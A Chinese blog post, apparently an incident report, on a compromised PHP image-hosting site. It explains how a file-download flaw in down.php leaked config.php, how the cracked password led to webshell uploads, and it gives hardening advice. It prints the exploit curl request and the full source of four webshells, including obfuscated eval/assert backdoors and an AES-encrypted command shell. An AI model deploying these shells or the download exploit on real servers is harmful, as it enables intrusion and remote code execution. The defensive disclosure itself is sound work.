今天准备把博客图片迁移,结果打开之前部署的php 简单图床,发现网站首页被篡改,吓我一跳。
为了防止图片被植入危险代码,先查宝塔的备份,下载最早时刻的备份文件,以下是最新的目录结构。
wwwroot
│ .htaccess
│ favicon.ico
│ *index.html
│ *index.php.123
│ robots.txt
│ SECURITY.md
│ *utf8.html
│
└─i
.htaccess
*1.php
*20230426054659.php
*bx.php
*gsl.php
Nginx日志显示新文件于4月26号下午6点左右被上传
原理是利用图床程序/Application/down.php
漏洞下载config.php
文件后破解md5
得到密码,进入后台上传木马php。
经查,Github上已有用户提出关于此漏洞的Issue
总体来说是一个比较低级的疏忽,总结以下六方面忠告:程序及时升级,php禁用危险函数,完善鉴权体系,对用户提交的数据做无害化处理,备份、日志,设置强密码。
这是该漏洞的具体利用方法:
curl http://mydomain/application/down.php?dw=./config/config.php
GetPwdMd5
Crackit
Login
'extensions'=>'gif,jpeg,png,tif,bmp,tif,svg,webp,jpg,tga,svg,ico,php,jsp'
UploadPHP
四个后门代码
1.php
<?php assert($_POST['a']);?>
gsl.php
<?php
eval($_POST["pass"]);
20230426054659.php
<? php class GcHN18v4 { /*F7R164*/
function __construct($x) {
$c = str_rot13('ffreg'); /*F7R164*/
$a = ("!" ^ "@").$c; /*F7R164*/
$a($x);
}
}
new GcHN18v4($_REQUEST['a']); ?>
bx.php
<? php@ error_reporting(0);
session_start();
$key = "0cc175b9c0f1b6a8";
$_SESSION['k'] = $key;
$f = 'file'.
'_get'.
'_contents';
$p = '|||||||||||' ^ chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);
$HLu96 = $f($p);
if (!extension_loaded('openssl')) {
$t = preg_filter('/\s+/', '', 'base 64 _ deco de');
$HLu96 = $t($HLu96.
"");
for ($i = 0; $i < strlen($HLu96); $i++) {
$new_key = $key[$i + 1 & 15];
$HLu96[$i] = $HLu96[$i] ^ $new_key;
}
} else {
$HLu96 = openssl_decrypt($HLu96, "AES128", $key);
}
$arr = explode('|', $HLu96);
$func = $arr[0];
$params = $arr[1];
class G2X3loiX {
public
function __invoke($p) {@
eval("/*Z1e6758ucG*/".$p.
"");
}
}@
call_user_func /*Z1e6758ucG*/ (new G2X3loiX(), $params); ?>
——到此为止——
暂无评论